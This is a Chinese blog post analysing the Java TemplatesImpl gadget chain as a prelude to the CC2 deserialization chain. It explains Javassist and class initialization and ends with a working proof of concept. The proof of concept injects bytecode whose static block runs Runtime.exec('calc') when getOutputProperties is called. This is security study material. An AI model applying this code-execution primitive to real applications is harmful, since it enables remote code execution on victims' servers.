首页 > 其他分享 >TemplatesImpl利用链分析

TemplatesImpl利用链分析

时间:2023-01-21 23:56:48浏览次数:71  
标签:TemplatesImpl 链分析 public 利用 CtClass import class 加载

前言

在学习java cc2链的时候看到利用TemplatesImpl,记得之前在fastjson反序列化的时候也遇到过,所以就想着单独写个TemplatesImpl利用链分析的文章,该篇也作为cc2链的前篇。

自定义类加载器

之前学习过Java的类加载过程,我们可以通过自定义类加载器来加载字节码,现在再来复习一遍

在编写类加载器的时候需要的条件有:

  1. 继承ClassLoader
  2. 重写findClass方法
  3. 在findClass方法中调用defineClass方法来定义一个类

当然,上述条件中我们不是一定要重写findClass方法的,我们也可以重写loadClass,只不过这样可能会破坏“双亲委派”机制,而且通过查看ClassLoader.findClass方法也可以明白为什么重写findClass(抛出异常的空方法)

在之前的文章中,我们通过文件读取class文件来获取字节码并进行自定义加载,但是这样操作起来难免会有些不方便,所以有没有一种方法可以直接通过java文件来直接获取字节码,确实可以这样,这里就需要学习一下javasist

javasist

首先我们在pom.xml里边添加一下依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.22.0-GA</version>
</dependency>

通常我们需要将.java文件编译成.class才能正常执行,在命名行中我们通常使用javac来编译,javasist是一个处理字节码的类库,能够动态修改class字节码文件,也可以直接读取到一个java类的字节码,现在来简单学习一下它的常用用法:

Javassist中最为重要的是ClassPoolCtClassCtMethodCtField以及CtConstructor这几类。

CtClass: 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得

ClassPool: CtClass对象的容器, 其中键是类名称, 值是表示该类的CtClass对象

CtMethods: 表示类中的方法

CtFields: 表示类中的字段

CtConstructor:标识类中的构造器

创建ClassPool对象作为CtClass的容器:

public ClassPool(boolean useDefaultPath) {}
// ClassPool pool = new ClassPool(true);
public static synchronized ClassPool getDefault() {}
// 效果与 new ClassPool(true) 一致
// ClassPool pool = ClassPool.getDefault();

获取指定类名的CtClass类对象:

public CtClass getCtClass(String classname) throws NotFoundException {}

销毁ClassPool容器里的CtClass类对象:

public void detach(){}

创建一个CtClass类对象:

public CtClass makeClass(String classname) throws RuntimeException {}
// CtClass test = pool.makeClass("Test");
public CtClass makeClass(InputStream classfile) throws IOException, RuntimeException {}
// pool.makeClass(new FileInputStream(new File("Test.class")))

获取CtClass类对象:

public CtClass[] get(String[] classnames) throws NotFoundException {}
// pool.get(TestInterface.class.getName())

ClassPath加到类搜索路径的末尾位置 or插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类:

// 起始位置插入
pool.insertClassPath(new ClassClassPath(this.getClass()));
// 末尾位置插入
pool.appendClassPath(new ClassClassPath(this.getClass()));

设置需要继承的类:

public void setSuperclass(CtClass clazz) throws CannotCompileException {}
// test.setSuperclass(pool.get(TestClass.class.getName()));

设置和添加需要实现的接口:

public void setInterfaces(CtClass[] list) {}
// test.setSuperclass(pool.get(TestInterface.class.getName()));
public void addInterface(CtClass anInterface) {}
// // test.addInterface((pool.get(TestInterface.class.getName()));

构造器相关操作:

// 创建空构造器
public CtConstructor makeClassInitializer() throws CannotCompileException {}
// 添加构造器
public void addConstructor(CtConstructor c) throws CannotCompileException {}
// 删除构造器
public void removeConstructor(CtConstructor c) throws NotFoundException {}

将java语句插入:

// 插入java语句
public void insertBefore(String src) throws CannotCompileException {}
// ctConstructor.insertBefore("System.out.println(\"Hello\");")
// 设置java语句
public void setBody(String src) throws CannotCompileException {}
// ctConstructor.setBody("System.out.println(\"Hello\");")

将编译的类创建为.class文件

public void writeFile() throws NotFoundException, IOException, CannotCompileException {}
//test.writeFile();

使用示例

以上方法只是小部分,还没有涉及方法、字段及构造器等诸多操作,现在使用刚才学习的这些方法来生成一个类.class文件,编写代码如下:

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class MakeCtClass {
    public static void main(String[] args) throws Exception {
        ClassPool aDefault = ClassPool.getDefault();
        CtClass testCtClass = aDefault.makeClass("TestCtClass");
        aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        testCtClass.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
        testCtClass.writeFile();
    }
}

然后我们执行后将会在根目录生成TestCtClass.class文件

这里发现写进去的java语句是用static进行修饰的,static关键字在平时我们经常用于修饰变量或者方法,然后将它们叫做静态变量或静态方法,如果向上图所示那样,则是使用static关键字用于代码块,叫做静态代码块,当JVM加载该类时候就会执行这些静态代码块。

这里我想要通过自定义类加载器去加载这个类,先编写简单的自定义类加载器TestClassLoader

package com.serializable.cc2;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestClassLoader extends ClassLoader {
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            String path = name + ".class";
            byte[] classData = null;
            try {
                classData = Files.readAllBytes(Paths.get(path));
            } catch (IOException e) {
                e.printStackTrace();
            }
            c = defineClass(name, classData, 0, classData.length);
        }
        return c;
    }
}

然后使用这个加载器去加载刚刚生成的TestCtClass.class,编写LoadTestClass

package com.serializable.cc2;


import java.lang.reflect.Constructor;

public class LoadTestClass {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new TestClassLoader();
        Class<?> testCtClass = classLoader.loadClass("TestCtClass");
        System.out.println(testCtClass);
    }
}

这里我本以为执行过后会弹出计算器,但是结果却和我想的不一样

不是说当JVM加载一个类的时候会执行它的static静态代码块的吗?

当我通过反射进行初始化该类的时候才弹出了计算器,添加了如下代码:

testCtClass.getConstructor().newInstance();

这时我突然对这个问题很好奇,也对之前学习Java类加载过程的内容标识怀疑!


经过向大佬请教,之前我们对类加载的理解也并没有问题,静态代码块确实是在JVM加载该类的时候执行,但是这里容易混淆,Java类加载按大了分为三个步骤:加载、链接、初始化!类加载和加载并不能混为一谈,按照之前的说法,JVM加载类包括以上的三个步骤,但是执行静态代码块的时候并不是在加载的这一个环节,而是在类加载的初始化环节!

这里还学习到了一个知识点,一个类初始化的三种方法:

  1. 静态初始化
  2. 匿名初始化
  3. 构造方法初始化

它们在类加载的过程中按照以上顺序执行,写个代码就懂了:

public class User {
    static {
        System.out.println("static");
    }
    {
        System.out.println("Empty");
    }
    public User() {
        System.out.println("User");
    }
}

通过不同方式去加载上边的这个User


public class Test {
    public static void main(String[] args) throws Exception {
        System.out.println("forName方法,initialize 为false,不进行初始化:");
        Class.forName("User", false, ClassLoader.getSystemClassLoader());
        System.out.println("forName方法,进行初始化:");
        Class.forName("User");
        System.out.println("进行实例化:");
        new User();
    }
}

这里发现实例化的时候没有输出static,因为类加载的时候静态代码块只执行一次:


public class Test {
    public static void main(String[] args) throws Exception {
        System.out.println("进行实例化:");
        new User();
    }
}


继续回到刚才使用自定义加载器去加载TestCtClass.class,这个过程中并不包括初始化操作(也不包括链接过程,只是类加载过程中的加载步骤),所以就不会执行静态代码块

TemplatesImpl加载字节码

说了这么多,终于切入正题了,TemplatesImep利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码。因为是内部类,无法在外部进行调用,所以我们看一看哪个方法使用了这个类。

查看TransletClassLoader#defineTransletClasses

如上图所示,_bytecodes就是需要加载的字节码,它的类型是byte[][],所以我们需要转换一下类型new byte[][]{bytes}

_tfactory默认为null,如果为null的话在上图第二方框处就会报错,因为它是一个TransformerFactoryImpl类型的对象,所以我们只需要复制给它一个对象即可new TransformerFactoryImpl()

到这里,我们来尝试去加载一下这个类,这里可以使用javasist来生成class字节码并通过CtClass#toBytecode获取字节数组,也可以编写.java文件,进行获取,下边使用后者:

编写被加载类TestTemplatesImpl.java

package com.serializable.cc2;


import java.io.IOException;

public class TestTemplatesImpl {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public TestTemplatesImpl() {
    }
}

然后通过反射赋值并执行TemplatesImpl#defineTransletClasses

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Method;

public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
        defineTransletClasses.setAccessible(true);
        defineTransletClasses.invoke(templates);
    }
}

通过调试发现,这个类确实已经被加载了,但是最后并没有执行静态代码(当然,因为只是加载了这个类,并没有进行初始化)

所以我们继续查看一下哪里调用了TemplatesImpl#defineTransletClasses

一共有3个地方调用了TemplatesImpl#defineTransletClasses,但是发现在getTransletInstance这里进行了实例化操作,通过这里应该可以达到实现,我们来看一下执行条件:

首先_name不能为null,通过反射赋值为任意String类型

_class需要是null(默认为null,无需更改)

继续往下看,接下来的_class变量在TemplatesImpl#defineTransletClasses执行过后会被加载入类

然后_transletIndex变量默认为-1

TemplatesImpl#defineTransletClasses中也对这个变量进行了操作

superClass变量即加载入的类的父类,如果父类为AbstractTranslet就会给_transletIndex赋值(也就是载入类在_class的位置)

所以,我们需要在之前的TestTemplatesImpl.java代码修改如下:

package com.serializable.cc2;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TestTemplatesImpl extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public TestTemplatesImpl() {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

还要给_name赋值,并执行TemplatesImpl#getTransletInstance

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Method;

public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
        Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
        defineTransletClasses.setAccessible(true);
        defineTransletClasses.invoke(templates);
    }
}

执行后成功弹出计算器:

之后还可以进一步改进一下代码,在newTransformer处调用了getTransletInstance

并且该方法是一个public方法,不需要通过反射调用

这里捎带看了下synchronized关键字,大概解释就是用于Java并发编程中保证多线程安全的,当synchronized关键字修饰一个方法的时候,该方法叫做同步方法,该方法执行完或发生异常时,会自动释放锁。

所以我们可以直接调用TemplatesImpl#newTransformer也可以弹出计算器,进一步查找,看看还有没有其他方法

发现getOutputProperties方法中调用了newTransformer,这里应该依然可以成功弹出计算器,然后继续寻找无果,这条利用链也就到此结束了。

利用链如下:

TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

最终POC

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
//        templates.newTransformer();
        templates.getOutputProperties();
    }
}

执行结果截图:

生成的TestCtClass.class

标签:TemplatesImpl,链分析,public,利用,CtClass,import,class,加载
From: https://www.cnblogs.com/seizer/p/17064102.html

相关文章

  • 利用艾宾浩斯曲线生成单词背诵规划表——python
    利用艾宾浩斯遗忘曲线生成单词背诵计划表#以下代码根据需背诵list总数(listcount)、复习间隔天数(days)#来自动生成单词背诵规划表,包括背诵周期、某天应学习复习list。#......
  • 浅谈Spring如何利用三个缓存Map解决循环依赖
    写在最前面,在写这篇文章之前,我也参考了很多别人对于Spring循环依赖的讲解,大部分人都是按照先使用二级缓存,再使用三级缓存的思路去讲解。在阅读了Spring源码中关于循环依赖的......
  • 利用无线物联网控制器实现水质溶解氧的在线测量
    溶解氧传感器常用的膜电极有两类:极谱型(Polarography)和原电池型(GalvanicCell)。极谱型(Polarography):电极中,有黄金环或铂金环作阴极,银-氯化银(或汞-氯化亚汞)作阳极。电解液为......
  • 利用Paddle开源OCR模型进行字符识别
    在挂机录制视频的时候,需要一个检测进度条是否跑完的功能。但是无奈各大平台ocr的api都很贵,本人不太愿意为了这个小功能掏钱。然后发现了这个OCR模型。虽然没学过人工智能,......
  • openEuler资源利用率提升之道06:虚拟机混部OpenStack调度
    虚拟机混合部署是指把对CPU、IO、Memory等资源有不同需求的虚拟机通过调度方式部署、迁移到同一个计算节点上,从而使得节点的资源得到充分利用。虚拟机混合部署的场景有多......
  • 利用数组特性便利json对象中属性
    在使用ajax编程时,有时候服务器端返回的json的属性是不确定的,这样在客户端使用时,就没有办法使用json对象的属性名称来访问属性值。 我们可以将json对象看作是一个字典数组,具......
  • Java反序列化-URLDNS利用链分析
    前言URLDNS链是Java反序列化中比较简单的一个链子,由于URLDNS不依赖第三方包和不限制jdk版本,所以经常用于检测反序列化漏洞。URLDNS并不能执行命令,只能发送DNS请求。(应该......
  • #Powerbi 利用时间智能函数,进行周度分析
    在实际工作中,我们往往需要同比分析,月度和年度的分析都有对应的时间智能函数,分别是MTD和YTD,但是缺少了周度的时间智能函数,而恰恰日常工作中,我们又需要以周度来进行对应的分......
  • 应用笔记 | 如何利用TSMaster的系统变量触发标定和诊断功能?
    随着电子模块的迅速增加,ADAS、无人驾驶场景带来的海量数据交互和实时性要求,OTA技术带来的信息安全挑战,对汽车总线仿真、测试、诊断、标定工具链的性能提出了更高的要求。本......
  • 在不使用cv2等库的情况下利用numpy实现双线性插值缩放图像
    起因我看到了一个别人的作业,他们老师让不使用cv2等图像处理库缩放图像算法介绍如果你仔细看过一些库里缩放图像的方法参数会发现有很多可选项,其中一般默认是使用双线性......